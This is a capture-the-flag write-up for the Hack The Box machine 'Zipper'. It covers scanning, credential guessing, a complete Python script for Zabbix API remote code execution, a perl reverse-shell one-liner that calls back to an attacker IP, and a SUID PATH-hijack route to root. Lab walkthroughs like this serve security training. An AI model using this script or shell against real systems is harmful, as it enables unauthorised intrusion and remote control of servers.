Writeup: Hack The Box - Machines - Zipper

Description

  • Name: Zipper
  • IP: 10.10.10.108
  • Author: burmat
  • Difficulty: 5.2/10

Discovery

nmap -sV -sC -Pn -p 1-65535 --min-rate 1000 --max-retries 5 10.10.10.108

1
2
3
4
5
6
7
8
9
10
11
PORT      STATE SERVICE    VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 59:20:a3:a0:98:f2:a7:14:1e:08:e0:9b:81:72:99:0e (RSA)
| 256 aa:fe:25:f8:21:24:7c:fc:b5:4b:5f:05:24:69:4c:76 (ECDSA)
|_ 256 89:28:37:e2:b6:cc:d5:80:38:1f:b2:6a:3a:c3:a1:84 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
10050/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

From gobuster:

1
2
http://10.10.10.108/zabbix (Status: 301)
http://10.10.10.108/server-status (Status: 403)

Pwn

The Apache web-server’s root shows the default Apache installation page but gobuster founds a zabbix login page. Zabbix is a dashboard used to monitor services and applications.

No credentials are found but it’s possible to login as guest.

Zabbix from 2.2 to 3.0.3 is vulnerable to Remote Code Execution using API JSON-RPC interface but the attacker needs to login as non-guest user. To create a more targeted dictionary is possible to login as guest, gather more information as possible and run hydra.

The list of candidates is:

1
2
3
4
5
6
7
8
Admin
admin
Zabbix
zabbix
zipper
Zipper
Zapper
zapper

Logging in as zapper is possible to execute commands on the host using a Python script (https://www.exploit-db.com/exploits/39937):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python3
import requests
import json

ZABIX_ROOT = 'http://10.10.10.108/zabbix'
url = ZABIX_ROOT + '/api_jsonrpc.php'

login = 'Zapper'
password = 'zapper'
hostid = '10084' ### Zabbix hostid

payload = {
"jsonrpc": "2.0",
"method": "user.login",
"params": {
'user': "" + login + "",
'password': "" + password + "",
},
"auth": None,
"id": 0,
}
headers = {
'content-type': 'application/json',
}

auth = requests.post(url, data=json.dumps(payload), headers=(headers))
auth = auth.json()
print(auth)

while True:
cmd = input('[zabbix_cmd]>>: ')
print(cmd)
if cmd == "quit" or cmd == "":
break

### update
payload = {
"jsonrpc": "2.0",
"method": "script.update",
"params": {
"scriptid": "1",
"command": "" + cmd + ""
},
"auth": auth['result'],
"id": 0,
}

cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers))

### execute
payload = {
"jsonrpc": "2.0",
"method": "script.execute",
"params": {
"scriptid": "1",
"hostid": "" + hostid + ""
},
"auth": auth['result'],
"id": 0,
}

cmd_exe = requests.post(url, data=json.dumps(payload), headers=(headers))
print(cmd_exe["result"]["value"])

The hostid was not correct but after some bruteforce the attack was successful (list of possible IDs http://10.10.10.108/zabbix/auditlogs.php):

To get a proper shell it’s possible to use the metasploit web_delivery (PHP is installed on the remote machine):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false
Debian-snmp:x:102:103::/var/lib/snmp:/bin/false
zabbix:x:103:104::/var/lib/zabbix/:/usr/sbin/nologin

In /backups there is a password protected 7z archive and using 7z2hashcat.pl is possible to get the hash for hashcat:

1
$7z$2$19$0$$8$bf6e13ea43e998d00000000000000000$407825750$176$165$032d861ac778edc4b819e463aeda63e2027a2dfca098c9f740674fad156c6bb86d11abe9ad6937c5decd2c6439d4cfa94d8b973993ea0b516c4ab856e2899df9df11f6e87035da488130c4e47bef2c6595a596c9e89bc801ad24ec1586b17d2606c16852d15b7d1ef3293203b300343722fd1836f93cbfc05a0347676b7795d1dcd498a67a48396123ea2fb5a3ff1b375414087869ad9134f831f4e685ebf6499531f3c6bedefc0799d503e261f25b7f$194$02

This hash is not feasible to crack due to the function implementation so there must be somewhere a password to use. On the events page of Zabbix there is a Zapper's Backup Script entry so searching for this script in the default directory of Zabbix is possible to get the archive password.

The password of the 7z file is: ZippityDoDah. In the zip there are two files:

The script that run as backupper and an ELF: this binary runs systemctl daemon-reload so it must the executed with root privileges but there is no such file in this container.

The actual container is rabbit hole: no flags, no passwords, no subnets, no privesc; that’s because the RCE was execute on the Zabbix agent and not on the server!

Just adding execute_on: 0 was enough to run commands on the real Zabbix server:

Running a reverse shell was useless since the connection is closed after a couple of seconds but in /home/zapper/utils/ there is the SUID binary zabbix-service.

This ELF can be abused to run arbitrary commands since the path used to call systemctl is not absolute. An attacker can edit the PATH variable to add a match for systemctl crafted to execute a root shell.

To get a stable reverse shell it’s possible to use a perl script:

1
perl -e 'use Socket;$i="10.10.XX.XX";$p=34444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

This script fork a sh process so the connection is not immediately closed. Once got a stable shell the user flag can accessed with user zapper from su:

Once got the first flag a root shell is just two commands away.

First of all craft the systemctl file and then print the real PATH for later use. Running the SUID binary without the proper PATH variable it’s possible to spawn a root shell, set the correct PATH and print the flag.